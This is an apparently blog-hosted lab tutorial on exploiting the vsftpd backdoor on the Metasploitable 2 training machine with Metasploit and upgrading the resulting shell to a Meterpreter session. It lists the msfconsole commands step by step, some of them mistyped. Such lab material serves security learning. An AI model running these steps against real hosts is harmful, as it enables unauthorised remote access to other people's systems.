How To Convert Shell Into Meterpreter ?


We’ll look at how to convert shell into meterpreter in this article. As a result, we’re going to use Metasploitable 2 as a victim machine. We’ll gain shell first by exploiting a vulnerability in metasploitable, and then we’ll see how to convert shell into meterpreter.

Note * Replace my IP with yours

Step 1: Let’s check the IP of our kali machine

Command:- ifconfig

Step 2: Let’s check the IP of metasploitable

Command:- ifconfig

Step 3: Let’s scan metasploitable using Nmap

Command:- Nmap –SV

Step 4: Now we will exploit “ vsftpd “ , search for the exploit

Command:- msfconsole

Command:- search vsftpd

Step 5: Use the exploit which we got from our search

Command:- use 0

Step 6: Now set rhost

Command:-  set rhost

Step 7: Let’s check  for the remaining requirements

Command:-  show options

Step 8: Let’s exploit

Command:-  exploit

Step 9: We got the shell

Step 10: Let’s Convert this shell into meterpreter so for this first put this current session in the background

Command:- background

Then select Y

Step 11: Now search for the shell to meterpreter

Command:- search shell_to_meterpreter

Step 12: Now we have to select it

Command:- use 0

Step 13: Let’s check for any remaining requirements

Command:- show options

Step 14: Set lhost

Command:- set LHOST

Step 15: Now we will set the session

Command:- set session 1

Step 16: Let’s Run it

Command:- run

Step 17: Now let’s check for the open sessions

Command:- sessions –i


Step 18: Let’s interact with meterpreter session

Command:- sessions – i 2


Step 19: We successfully converted shell into meterpreter

Now to check our system info

Command:- sysinfo


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